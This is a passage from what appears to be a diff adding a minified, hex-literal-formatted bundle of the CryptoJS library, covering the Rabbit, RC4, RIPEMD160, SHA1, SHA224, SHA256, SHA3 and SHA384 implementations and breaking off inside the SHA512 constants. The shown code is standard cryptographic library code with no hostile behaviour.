0x10, n[0x1], n[0x0] << 0x10 | n[0x3] >>> 0x10, n[0x2], n[0x1] << 0x10 | n[0x0] >>> 0x10, n[0x3], n[0x2] << 0x10 | n[0x1] >>> 0x10] + , r = this['_C'] = [n[0x2] << 0x10 | n[0x2] >>> 0x10, n[0x0] & 0xffff0000 | n[0x1] & 0xffff, n[0x3] << 0x10 | n[0x3] >>> 0x10, n[0x1] & 0xffff0000 | n[0x2] & 0xffff, n[0x0] << 0x10 | n[0x0] >>> 0x10, n[0x2] & 0xffff0000 | n[0x3] & 0xffff, n[0x1] << 0x10 | n[0x1] >>> 0x10, n[0x3] & 0xffff0000 | n[0x0] & 0xffff]; + this['_b'] = 0x0; + for (var p = 0x0; p < 0x4; p++) { + m['call'](this); + } + for (var p = 0x0; p < 0x8; p++) { + r[p] ^= q[p + 0x4 & 0x7]; + } + if (o) { + var s = o['words'] + , t = s[0x0] + , u = s[0x1] + , v = (t << 0x8 | t >>> 0x18) & 0xff00ff | (t << 0x18 | t >>> 0x8) & 0xff00ff00 + , w = (u << 0x8 | u >>> 0x18) & 0xff00ff | (u << 0x18 | u >>> 0x8) & 0xff00ff00 + , x = v >>> 0x10 | w & 0xffff0000 + , y = w << 0x10 | v & 0xffff; + r[0x0] ^= v, + r[0x1] ^= x, + r[0x2] ^= w, + r[0x3] ^= y, + r[0x4] ^= v, + r[0x5] ^= x, + r[0x6] ^= w, + r[0x7] ^= y; + for (var p = 0x0; p < 0x4; p++) { + m['call'](this); + } + } + }, + '_doProcessBlock': function(n, o) { + var p = this['_X']; + m['call'](this), + i[0x0] = p[0x0] ^ p[0x5] >>> 0x10 ^ p[0x3] << 0x10, + i[0x1] = p[0x2] ^ p[0x7] >>> 0x10 ^ p[0x5] << 0x10, + i[0x2] = p[0x4] ^ p[0x1] >>> 0x10 ^ p[0x7] << 0x10, + i[0x3] = p[0x6] ^ p[0x3] >>> 0x10 ^ p[0x1] << 0x10; + for (var q = 0x0; q < 0x4; q++) { + i[q] = (i[q] << 0x8 | i[q] >>> 0x18) & 0xff00ff | (i[q] << 0x18 | i[q] >>> 0x8) & 0xff00ff00, + n[o + q] ^= i[q]; + } + }, + 'blockSize': 0x80 / 0x20, + 'ivSize': 0x40 / 0x20 + }); + function m() { + var n = this['_X'] + , o = this['_C']; + for (var p = 0x0; p < 0x8; p++) { + j[p] = o[p]; + } + o[0x0] = o[0x0] + 0x4d34d34d + this['_b'] | 0x0, + o[0x1] = o[0x1] + 0xd34d34d3 + (o[0x0] >>> 0x0 < j[0x0] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x2] = o[0x2] + 0x34d34d34 + (o[0x1] >>> 0x0 < j[0x1] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x3] = o[0x3] + 0x4d34d34d + (o[0x2] >>> 0x0 < j[0x2] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x4] = o[0x4] + 0xd34d34d3 + (o[0x3] >>> 0x0 < j[0x3] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x5] = o[0x5] + 0x34d34d34 + (o[0x4] >>> 0x0 < j[0x4] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x6] = o[0x6] + 0x4d34d34d + (o[0x5] >>> 0x0 < j[0x5] >>> 0x0 ? 0x1 : 0x0) | 0x0, + o[0x7] = o[0x7] + 0xd34d34d3 + (o[0x6] >>> 0x0 < j[0x6] >>> 0x0 ? 0x1 : 0x0) | 0x0, + this['_b'] = o[0x7] >>> 0x0 < j[0x7] >>> 0x0 ? 0x1 : 0x0; + for (var p = 0x0; p < 0x8; p++) { + var q = n[p] + o[p] + , r = q & 0xffff + , s = q >>> 0x10 + , t = ((r * r >>> 0x11) + r * s >>> 0xf) + s * s + , u = ((q & 0xffff0000) * q | 0x0) + ((q & 0xffff) * q | 0x0); + k[p] = t ^ u; + } + n[0x0] = k[0x0] + (k[0x7] << 0x10 | k[0x7] >>> 0x10) + (k[0x6] << 0x10 | k[0x6] >>> 0x10) | 0x0, + n[0x1] = k[0x1] + (k[0x0] << 0x8 | k[0x0] >>> 0x18) + k[0x7] | 0x0, + n[0x2] = k[0x2] + (k[0x1] << 0x10 | k[0x1] >>> 0x10) + (k[0x0] << 0x10 | k[0x0] >>> 0x10) | 0x0, + n[0x3] = k[0x3] + (k[0x2] << 0x8 | k[0x2] >>> 0x18) + k[0x1] | 0x0, + n[0x4] = k[0x4] + (k[0x3] << 0x10 | k[0x3] >>> 0x10) + (k[0x2] << 0x10 | k[0x2] >>> 0x10) | 0x0, + n[0x5] = k[0x5] + (k[0x4] << 0x8 | k[0x4] >>> 0x18) + k[0x3] | 0x0, + n[0x6] = k[0x6] + (k[0x5] << 0x10 | k[0x5] >>> 0x10) + (k[0x4] << 0x10 | k[0x4] >>> 0x10) | 0x0, + n[0x7] = k[0x7] + (k[0x6] << 0x8 | k[0x6] >>> 0x18) + k[0x5] | 0x0; + } + e['Rabbit'] = g['_createHelper'](l); + }()), + d['Rabbit']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './evpkdf': 0x9, + './md5': 0xe + }], + 0x1c: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./enc-base64'), a('./md5'), a('./evpkdf'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './enc-base64', './md5', './evpkdf', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['StreamCipher'] + , h = e['algo'] + , i = h['RC4'] = g['extend']({ + '_doReset': function() { + var l = this['_key'] + , m = l['words'] + , n = l['sigBytes'] + , o = this['_S'] = []; + for (var p = 0x0; p < 0x100; p++) { + o[p] = p; + } + for (var p = 0x0, q = 0x0; p < 0x100; p++) { + var r = p % n + , s = m[r >>> 0x2] >>> 0x18 - r % 0x4 * 0x8 & 0xff; + q = (q + o[p] + s) % 0x100; + var u = o[p]; + o[p] = o[q], + o[q] = u; + } + this['_i'] = this['_j'] = 0x0; + }, + '_doProcessBlock': function(l, m) { + l[m] ^= j['call'](this); + }, + 'keySize': 0x100 / 0x20, + 'ivSize': 0x0 + }); + function j() { + var l = this['_S'] + , m = this['_i'] + , o = this['_j'] + , p = 0x0; + for (var q = 0x0; q < 0x4; q++) { + m = (m + 0x1) % 0x100, + o = (o + l[m]) % 0x100; + var r = l[m]; + l[m] = l[o], + l[o] = r, + p |= l[(l[m] + l[o]) % 0x100] << 0x18 - q * 0x8; + } + return this['_i'] = m, + this['_j'] = o, + p; + } + e['RC4'] = g['_createHelper'](i); + var k = h['RC4Drop'] = i['extend']({ + 'cfg': i['cfg']['extend']({ + 'drop': 0xc0 + }), + '_doReset': function() { + i['_doReset']['call'](this); + for (var l = this['cfg']['drop']; l > 0x0; l--) { + j['call'](this); + } + } + }); + e['RC4Drop'] = g['_createHelper'](k); + }()), + d['RC4']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './evpkdf': 0x9, + './md5': 0xe + }], + 0x1d: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['WordArray'] + , i = g['Hasher'] + , j = f['algo'] + , k = h['create']([0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x7, 0x4, 0xd, 0x1, 0xa, 0x6, 0xf, 0x3, 0xc, 0x0, 0x9, 0x5, 0x2, 0xe, 0xb, 0x8, 0x3, 0xa, 0xe, 0x4, 0x9, 0xf, 0x8, 0x1, 0x2, 0x7, 0x0, 0x6, 0xd, 0xb, 0x5, 0xc, 0x1, 0x9, 0xb, 0xa, 0x0, 0x8, 0xc, 0x4, 0xd, 0x3, 0x7, 0xf, 0xe, 0x5, 0x6, 0x2, 0x4, 0x0, 0x5, 0x9, 0x7, 0xc, 0x2, 0xa, 0xe, 0x1, 0x3, 0x8, 0xb, 0x6, 0xf, 0xd]) + , l = h['create']([0x5, 0xe, 0x7, 0x0, 0x9, 0x2, 0xb, 0x4, 0xd, 0x6, 0xf, 0x8, 0x1, 0xa, 0x3, 0xc, 0x6, 0xb, 0x3, 0x7, 0x0, 0xd, 0x5, 0xa, 0xe, 0xf, 0x8, 0xc, 0x4, 0x9, 0x1, 0x2, 0xf, 0x5, 0x1, 0x3, 0x7, 0xe, 0x6, 0x9, 0xb, 0x8, 0xc, 0x2, 0xa, 0x0, 0x4, 0xd, 0x8, 0x6, 0x4, 0x1, 0x3, 0xb, 0xf, 0x0, 0x5, 0xc, 0x2, 0xd, 0x9, 0x7, 0xa, 0xe, 0xc, 0xf, 0xa, 0x4, 0x1, 0x5, 0x8, 0x7, 0x6, 0x2, 0xd, 0xe, 0x0, 0x3, 0x9, 0xb]) + , m = h['create']([0xb, 0xe, 0xf, 0xc, 0x5, 0x8, 0x7, 0x9, 0xb, 0xd, 0xe, 0xf, 0x6, 0x7, 0x9, 0x8, 0x7, 0x6, 0x8, 0xd, 0xb, 0x9, 0x7, 0xf, 0x7, 0xc, 0xf, 0x9, 0xb, 0x7, 0xd, 0xc, 0xb, 0xd, 0x6, 0x7, 0xe, 0x9, 0xd, 0xf, 0xe, 0x8, 0xd, 0x6, 0x5, 0xc, 0x7, 0x5, 0xb, 0xc, 0xe, 0xf, 0xe, 0xf, 0x9, 0x8, 0x9, 0xe, 0x5, 0x6, 0x8, 0x6, 0x5, 0xc, 0x9, 0xf, 0x5, 0xb, 0x6, 0x8, 0xd, 0xc, 0x5, 0xc, 0xd, 0xe, 0xb, 0x8, 0x5, 0x6]) + , n = h['create']([0x8, 0x9, 0x9, 0xb, 0xd, 0xf, 0xf, 0x5, 0x7, 0x7, 0x8, 0xb, 0xe, 0xe, 0xc, 0x6, 0x9, 0xd, 0xf, 0x7, 0xc, 0x8, 0x9, 0xb, 0x7, 0x7, 0xc, 0x7, 0x6, 0xf, 0xd, 0xb, 0x9, 0x7, 0xf, 0xb, 0x8, 0x6, 0x6, 0xe, 0xc, 0xd, 0x5, 0xe, 0xd, 0xd, 0x7, 0x5, 0xf, 0x5, 0x8, 0xb, 0xe, 0xe, 0x6, 0xe, 0x6, 0x9, 0xc, 0x9, 0xc, 0x5, 0xf, 0x8, 0x8, 0x5, 0xc, 0x9, 0xc, 0x5, 0xe, 0x6, 0x8, 0xd, 0x6, 0x5, 0xf, 0xd, 0xb, 0xb]) + , o = h['create']([0x0, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e]) + , p = h['create']([0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x0]) + , q = j['RIPEMD160'] = i['extend']({ + '_doReset': function() { + this['_hash'] = h['create']([0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0]); + }, + '_doProcessBlock': function(x, y) { + for (var z = 0x0; z < 0x10; z++) { + var A = y + z + , B = x[A]; + x[A] = (B << 0x8 | B >>> 0x18) & 0xff00ff | (B << 0x18 | B >>> 0x8) & 0xff00ff00; + } + var D = this['_hash']['words'], E = o['words'], F = p['words'], G = k['words'], I = l['words'], J = m['words'], K = n['words'], L, N, O, P, Q, R, S, T, U, V; + R = L = D[0x0], + S = N = D[0x1], + T = O = D[0x2], + U = P = D[0x3], + V = Q = D[0x4]; + var W; + for (var z = 0x0; z < 0x50; z += 0x1) { + W = L + x[y + G[z]] | 0x0; + if (z < 0x10) + W += r(N, O, P) + E[0x0]; + else { + if (z < 0x20) + W += s(N, O, P) + E[0x1]; + else { + if (z < 0x30) + W += t(N, O, P) + E[0x2]; + else + z < 0x40 ? W += u(N, O, P) + E[0x3] : W += v(N, O, P) + E[0x4]; + } + } + W = W | 0x0, + W = w(W, J[z]), + W = W + Q | 0x0, + L = Q, + Q = P, + P = w(O, 0xa), + O = N, + N = W, + W = R + x[y + I[z]] | 0x0; + if (z < 0x10) + W += v(S, T, U) + F[0x0]; + else { + if (z < 0x20) + W += u(S, T, U) + F[0x1]; + else { + if (z < 0x30) + W += t(S, T, U) + F[0x2]; + else + z < 0x40 ? W += s(S, T, U) + F[0x3] : W += r(S, T, U) + F[0x4]; + } + } + W = W | 0x0, + W = w(W, K[z]), + W = W + V | 0x0, + R = V, + V = U, + U = w(T, 0xa), + T = S, + S = W; + } + W = D[0x1] + O + U | 0x0, + D[0x1] = D[0x2] + P + V | 0x0, + D[0x2] = D[0x3] + Q + R | 0x0, + D[0x3] = D[0x4] + L + S | 0x0, + D[0x4] = D[0x0] + N + T | 0x0, + D[0x0] = W; + }, + '_doFinalize': function() { + var x = this['_data'] + , y = x['words'] + , z = this['_nDataBytes'] * 0x8 + , A = x['sigBytes'] * 0x8; + y[A >>> 0x5] |= 0x80 << 0x18 - A % 0x20, + y[(A + 0x40 >>> 0x9 << 0x4) + 0xe] = (z << 0x8 | z >>> 0x18) & 0xff00ff | (z << 0x18 | z >>> 0x8) & 0xff00ff00, + x['sigBytes'] = (y['length'] + 0x1) * 0x4, + this['_process'](); + var B = this['_hash'] + , D = B['words']; + for (var E = 0x0; E < 0x5; E++) { + var F = D[E]; + D[E] = (F << 0x8 | F >>> 0x18) & 0xff00ff | (F << 0x18 | F >>> 0x8) & 0xff00ff00; + } + return B; + }, + 'clone': function() { + var x = i['clone']['call'](this); + return x['_hash'] = this['_hash']['clone'](), + x; + } + }); + function r(A, B, D) { + return A ^ B ^ D; + } + function s(A, B, D) { + return A & B | ~A & D; + } + function t(A, B, D) { + return (A | ~B) ^ D; + } + function u(A, B, D) { + return A & D | B & ~D; + } + function v(A, B, D) { + return A ^ (B | ~D); + } + function w(y, z) { + return y << z | y >>> 0x20 - z; + } + f['RIPEMD160'] = i['_createHelper'](q), + f['HmacRIPEMD160'] = i['_createHmacHelper'](q); + }(Math), + d['RIPEMD160']; + })); + } + , { + './core': 0x5 + }], + 0x1e: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = f['Hasher'] + , i = e['algo'] + , j = [] + , k = i['SHA1'] = h['extend']({ + '_doReset': function() { + this['_hash'] = new g['init']([0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0]); + }, + '_doProcessBlock': function(l, m) { + var o = this['_hash']['words'] + , p = o[0x0] + , q = o[0x1] + , r = o[0x2] + , s = o[0x3] + , u = o[0x4]; + for (var v = 0x0; v < 0x50; v++) { + if (v < 0x10) + j[v] = l[m + v] | 0x0; + else { + var w = j[v - 0x3] ^ j[v - 0x8] ^ j[v - 0xe] ^ j[v - 0x10]; + j[v] = w << 0x1 | w >>> 0x1f; + } + var x = (p << 0x5 | p >>> 0x1b) + u + j[v]; + if (v < 0x14) + x += (q & r | ~q & s) + 0x5a827999; + else { + if (v < 0x28) + x += (q ^ r ^ s) + 0x6ed9eba1; + else + v < 0x3c ? x += (q & r | q & s | r & s) - 0x70e44324 : x += (q ^ r ^ s) - 0x359d3e2a; + } + u = s, + s = r, + r = q << 0x1e | q >>> 0x2, + q = p, + p = x; + } + o[0x0] = o[0x0] + p | 0x0, + o[0x1] = o[0x1] + q | 0x0, + o[0x2] = o[0x2] + r | 0x0, + o[0x3] = o[0x3] + s | 0x0, + o[0x4] = o[0x4] + u | 0x0; + }, + '_doFinalize': function() { + var l = this['_data'] + , m = l['words'] + , n = this['_nDataBytes'] * 0x8 + , o = l['sigBytes'] * 0x8; + return m[o >>> 0x5] |= 0x80 << 0x18 - o % 0x20, + m[(o + 0x40 >>> 0x9 << 0x4) + 0xe] = Math['floor'](n / 0x100000000), + m[(o + 0x40 >>> 0x9 << 0x4) + 0xf] = n, + l['sigBytes'] = m['length'] * 0x4, + this['_process'](), + this['_hash']; + }, + 'clone': function() { + var l = h['clone']['call'](this); + return l['_hash'] = this['_hash']['clone'](), + l; + } + }); + e['SHA1'] = h['_createHelper'](k), + e['HmacSHA1'] = h['_createHmacHelper'](k); + }()), + d['SHA1']; + })); + } + , { + './core': 0x5 + }], + 0x1f: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./sha256')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './sha256'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = e['algo'] + , i = h['SHA256'] + , j = h['SHA224'] = i['extend']({ + '_doReset': function() { + this['_hash'] = new g['init']([0xc1059ed8, 0x367cd507, 0x3070dd17, 0xf70e5939, 0xffc00b31, 0x68581511, 0x64f98fa7, 0xbefa4fa4]); + }, + '_doFinalize': function() { + var k = i['_doFinalize']['call'](this); + return k['sigBytes'] -= 0x4, + k; + } + }); + e['SHA224'] = i['_createHelper'](j), + e['HmacSHA224'] = i['_createHmacHelper'](j); + }()), + d['SHA224']; + })); + } + , { + './core': 0x5, + './sha256': 0x20 + }], + 0x20: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['WordArray'] + , i = g['Hasher'] + , j = f['algo'] + , k = [] + , l = []; + (function() { + function o(s) { + var t = e['sqrt'](s); + for (var u = 0x2; u <= t; u++) { + if (!(s % u)) + return ![]; + } + return !![]; + } + function p(s) { + return (s - (s | 0x0)) * 0x100000000 | 0x0; + } + var q = 0x2 + , r = 0x0; + while (r < 0x40) { + o(q) && (r < 0x8 && (k[r] = p(e['pow'](q, 0x1 / 0x2))), + l[r] = p(e['pow'](q, 0x1 / 0x3)), + r++), + q++; + } + }()); + var m = [] + , n = j['SHA256'] = i['extend']({ + '_doReset': function() { + this['_hash'] = new h['init'](k['slice'](0x0)); + }, + '_doProcessBlock': function(o, p) { + var q = this['_hash']['words'] + , r = q[0x0] + , s = q[0x1] + , t = q[0x2] + , u = q[0x3] + , v = q[0x4] + , w = q[0x5] + , x = q[0x6] + , y = q[0x7]; + for (var z = 0x0; z < 0x40; z++) { + if (z < 0x10) + m[z] = o[p + z] | 0x0; + else { + var A = m[z - 0xf] + , B = (A << 0x19 | A >>> 0x7) ^ (A << 0xe | A >>> 0x12) ^ A >>> 0x3 + , D = m[z - 0x2] + , E = (D << 0xf | D >>> 0x11) ^ (D << 0xd | D >>> 0x13) ^ D >>> 0xa; + m[z] = B + m[z - 0x7] + E + m[z - 0x10]; + } + var F = v & w ^ ~v & x + , G = r & s ^ r & t ^ s & t + , I = (r << 0x1e | r >>> 0x2) ^ (r << 0x13 | r >>> 0xd) ^ (r << 0xa | r >>> 0x16) + , J = (v << 0x1a | v >>> 0x6) ^ (v << 0x15 | v >>> 0xb) ^ (v << 0x7 | v >>> 0x19) + , L = y + J + F + l[z] + m[z] + , N = I + G; + y = x, + x = w, + w = v, + v = u + L | 0x0, + u = t, + t = s, + s = r, + r = L + N | 0x0; + } + q[0x0] = q[0x0] + r | 0x0, + q[0x1] = q[0x1] + s | 0x0, + q[0x2] = q[0x2] + t | 0x0, + q[0x3] = q[0x3] + u | 0x0, + q[0x4] = q[0x4] + v | 0x0, + q[0x5] = q[0x5] + w | 0x0, + q[0x6] = q[0x6] + x | 0x0, + q[0x7] = q[0x7] + y | 0x0; + }, + '_doFinalize': function() { + var o = this['_data'] + , p = o['words'] + , q = this['_nDataBytes'] * 0x8 + , r = o['sigBytes'] * 0x8; + return p[r >>> 0x5] |= 0x80 << 0x18 - r % 0x20, + p[(r + 0x40 >>> 0x9 << 0x4) + 0xe] = e['floor'](q / 0x100000000), + p[(r + 0x40 >>> 0x9 << 0x4) + 0xf] = q, + o['sigBytes'] = p['length'] * 0x4, + this['_process'](), + this['_hash']; + }, + 'clone': function() { + var o = i['clone']['call'](this); + return o['_hash'] = this['_hash']['clone'](), + o; + } + }); + f['SHA256'] = i['_createHelper'](n), + f['HmacSHA256'] = i['_createHmacHelper'](n); + }(Math), + d['SHA256']; + })); + } + , { + './core': 0x5 + }], + 0x21: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./x64-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './x64-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['WordArray'] + , i = g['Hasher'] + , j = f['x64'] + , k = j['Word'] + , l = f['algo'] + , m = [] + , n = [] + , o = []; + (function() { + var r = 0x1 + , s = 0x0; + for (var u = 0x0; u < 0x18; u++) { + m[r + 0x5 * s] = (u + 0x1) * (u + 0x2) / 0x2 % 0x40; + var v = s % 0x5 + , w = (0x2 * r + 0x3 * s) % 0x5; + r = v, + s = w; + } + for (var r = 0x0; r < 0x5; r++) { + for (var s = 0x0; s < 0x5; s++) { + n[r + 0x5 * s] = s + (0x2 * r + 0x3 * s) % 0x5 * 0x5; + } + } + var z = 0x1; + for (var A = 0x0; A < 0x18; A++) { + var B = 0x0 + , D = 0x0; + for (var E = 0x0; E < 0x7; E++) { + if (z & 0x1) { + var F = (0x1 << E) - 0x1; + F < 0x20 ? D ^= 0x1 << F : B ^= 0x1 << F - 0x20; + } + z & 0x80 ? z = z << 0x1 ^ 0x71 : z <<= 0x1; + } + o[A] = k['create'](B, D); + } + }()); + var p = []; + (function() { + for (var r = 0x0; r < 0x19; r++) { + p[r] = k['create'](); + } + }()); + var q = l['SHA3'] = i['extend']({ + 'cfg': i['cfg']['extend']({ + 'outputLength': 0x200 + }), + '_doReset': function() { + var r = this['_state'] = []; + for (var s = 0x0; s < 0x19; s++) { + r[s] = new k['init'](); + } + this['blockSize'] = (0x640 - 0x2 * this['cfg']['outputLength']) / 0x20; + }, + '_doProcessBlock': function(r, s) { + var t = this['_state'] + , u = this['blockSize'] / 0x2; + for (var v = 0x0; v < u; v++) { + var w = r[s + 0x2 * v] + , z = r[s + 0x2 * v + 0x1]; + w = (w << 0x8 | w >>> 0x18) & 0xff00ff | (w << 0x18 | w >>> 0x8) & 0xff00ff00, + z = (z << 0x8 | z >>> 0x18) & 0xff00ff | (z << 0x18 | z >>> 0x8) & 0xff00ff00; + var A = t[v]; + A['high'] ^= z, + A['low'] ^= w; + } + for (var B = 0x0; B < 0x18; B++) { + for (var D = 0x0; D < 0x5; D++) { + var E = 0x0 + , F = 0x0; + for (var G = 0x0; G < 0x5; G++) { + var A = t[D + 0x5 * G]; + E ^= A['high'], + F ^= A['low']; + } + var H = p[D]; + H['high'] = E, + H['low'] = F; + } + for (var D = 0x0; D < 0x5; D++) { + var I = p[(D + 0x4) % 0x5] + , J = p[(D + 0x1) % 0x5] + , K = J['high'] + , L = J['low'] + , E = I['high'] ^ (K << 0x1 | L >>> 0x1f) + , F = I['low'] ^ (L << 0x1 | K >>> 0x1f); + for (var G = 0x0; G < 0x5; G++) { + var A = t[D + 0x5 * G]; + A['high'] ^= E, + A['low'] ^= F; + } + } + for (var N = 0x1; N < 0x19; N++) { + var E, F, A = t[N], O = A['high'], P = A['low'], Q = m[N]; + Q < 0x20 ? (E = O << Q | P >>> 0x20 - Q, + F = P << Q | O >>> 0x20 - Q) : (E = P << Q - 0x20 | O >>> 0x40 - Q, + F = O << Q - 0x20 | P >>> 0x40 - Q); + var R = p[n[N]]; + R['high'] = E, + R['low'] = F; + } + var S = p[0x0] + , U = t[0x0]; + S['high'] = U['high'], + S['low'] = U['low']; + for (var D = 0x0; D < 0x5; D++) { + for (var G = 0x0; G < 0x5; G++) { + var N = D + 0x5 * G + , A = t[N] + , V = p[N] + , W = p[(D + 0x1) % 0x5 + 0x5 * G] + , X = p[(D + 0x2) % 0x5 + 0x5 * G]; + A['high'] = V['high'] ^ ~W['high'] & X['high'], + A['low'] = V['low'] ^ ~W['low'] & X['low']; + } + } + var A = t[0x0] + , Y = o[B]; + A['high'] ^= Y['high'], + A['low'] ^= Y['low']; + } + }, + '_doFinalize': function() { + var r = this['_data'] + , s = r['words'] + , t = this['_nDataBytes'] * 0x8 + , u = r['sigBytes'] * 0x8 + , v = this['blockSize'] * 0x20; + s[u >>> 0x5] |= 0x1 << 0x18 - u % 0x20, + s[(e['ceil']((u + 0x1) / v) * v >>> 0x5) - 0x1] |= 0x80, + r['sigBytes'] = s['length'] * 0x4, + this['_process'](); + var w = this['_state'] + , x = this['cfg']['outputLength'] / 0x8 + , y = x / 0x8 + , z = []; + for (var A = 0x0; A < y; A++) { + var B = w[A] + , D = B['high'] + , E = B['low']; + D = (D << 0x8 | D >>> 0x18) & 0xff00ff | (D << 0x18 | D >>> 0x8) & 0xff00ff00, + E = (E << 0x8 | E >>> 0x18) & 0xff00ff | (E << 0x18 | E >>> 0x8) & 0xff00ff00, + z['push'](E), + z['push'](D); + } + return new h['init'](z,x); + }, + 'clone': function() { + var r = i['clone']['call'](this) + , s = r['_state'] = this['_state']['slice'](0x0); + for (var t = 0x0; t < 0x19; t++) { + s[t] = s[t]['clone'](); + } + return r; + } + }); + f['SHA3'] = i['_createHelper'](q), + f['HmacSHA3'] = i['_createHmacHelper'](q); + }(Math), + d['SHA3']; + })); + } + , { + './core': 0x5, + './x64-core': 0x25 + }], + 0x22: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./x64-core'), a('./sha512')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './x64-core', './sha512'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['x64'] + , g = f['Word'] + , h = f['WordArray'] + , i = e['algo'] + , j = i['SHA512'] + , k = i['SHA384'] = j['extend']({ + '_doReset': function() { + this['_hash'] = new h['init']([new g['init'](0xcbbb9d5d,0xc1059ed8), new g['init'](0x629a292a,0x367cd507), new g['init'](0x9159015a,0x3070dd17), new g['init'](0x152fecd8,0xf70e5939), new g['init'](0x67332667,0xffc00b31), new g['init'](0x8eb44a87,0x68581511), new g['init'](0xdb0c2e0d,0x64f98fa7), new g['init'](0x47b5481d,0xbefa4fa4)]); + }, + '_doFinalize': function() { + var l = j['_doFinalize']['call'](this); + return l['sigBytes'] -= 0x10, + l; + } + }); + e['SHA384'] = j['_createHelper'](k), + e['HmacSHA384'] = j['_createHmacHelper'](k); + }()), + d['SHA384']; + })); + } + , { + './core': 0x5, + './sha512': 0x23, + './x64-core': 0x25 + }], + 0x23: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./x64-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './x64-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['Hasher'] + , h = e['x64'] + , i = h['Word'] + , j = h['WordArray'] + , k = e['algo']; + function l() { + return i['create']['apply'](i, arguments); + } + var m = [l(0x428a2f98, 0xd728ae22), l(0x71374491, 0x23ef65cd), l(0xb5c0fbcf, 0xec4d3b2f), l(0xe9b5dba5, 0x8189dbbc), l(0x3956c25b, 0xf348b538), l(0x59f111f1, 0xb605d019), l(0x923f82a4, 0xaf194f9b), l(0xab1c5ed5, 0xda6d8118), l(0xd807aa98, 0xa3030242), l(0x12835b01, 0x45706fbe), l(0x243185be, 0x4ee4b28c), l(0x550c7dc3, 0xd5ffb4e2), l(0x72be5d74, 0xf27b896f), l(0x80deb1fe, 0x3b1696b1), l(0x9bdc06a7, 0x25c71235), l(0xc19bf174, 0xcf692694), l(0xe49b69c1, 0x9ef14ad2), l(0xefbe4786, 0x384f25e3), l(0xfc19dc6, 0x8b8cd5b5), l(0x240ca1cc, 0x77ac9c65), l(0x2de92c6f, 0x592b0275), l(0x4a7484aa, 0x6ea6e483), l(0x5cb0a9dc, 0xbd41fbd4), l(0x76f988da, 0x831153b5), l(0x983e5152, 0xee66dfab), l(0xa831c66d, 0x2db43210), l(0xb00327c8, 0x98fb213f), l(0xbf597fc7, 0xbeef0ee4), l(0xc6e00bf3, 0x3da88fc2), l(0xd5a79147, 0x930aa725), l(0x6ca6351, 0xe003826f), l(0x14292967, 0xa0e6e70), l(0x27b70a85, 0x46d22ffc), l(0x2e1b2138, 0x5c26c926), l(0x4d2c6dfc, 0x5ac42aed), l(0x53380d13, 0x9d95b3df), l(0x650a7354, 0x8baf63de), l(0x766a0abb, 0x3c77b2a8), l(0x81c2c92e, 0x47edaee6), l(0x92722c85, 0x1482353b), l(0xa2bfe8a1, 0x4cf10364), l(0xa81a664b, 0xbc423001), l(0xc24b8b70, 0xd0f89791), l(0xc76c51a3, 0x654be30), l(0xd192e819, 0xd6ef5218), l(0xd6990624, 0x5565a910), l(0xf40e3585, 0x5771202a), l(0x106aa070, 0x32bbd1b8), l(0x19a4c116, 0xb8d2d0c8), l(0x1e376c08, 0x5141ab53), l(0x2748774c, 0xdf8eeb99), l(0x34b0bcb5, 0xe19b48a8), l(0x391c0cb3, 0xc5c95a63), l(0x4ed8aa4a, 0xe3418acb), l(0x5b9cca4f, 0x7763e373), l(0x682e6ff3, 0xd6b2b8a3), l(0x748f82ee, 0x5defb2fc), l(0x78a5636f, 0x43172f60), l(0x84c87814, 0xa1f0ab72), l(0x8cc70208, 0x1a6439ec), l(0x90befffa, 0x23631e28), l(0xa4506ceb, 0xde82bde9), l(0xbef9a3f7, 0xb2c67915), l(0xc67178f2, 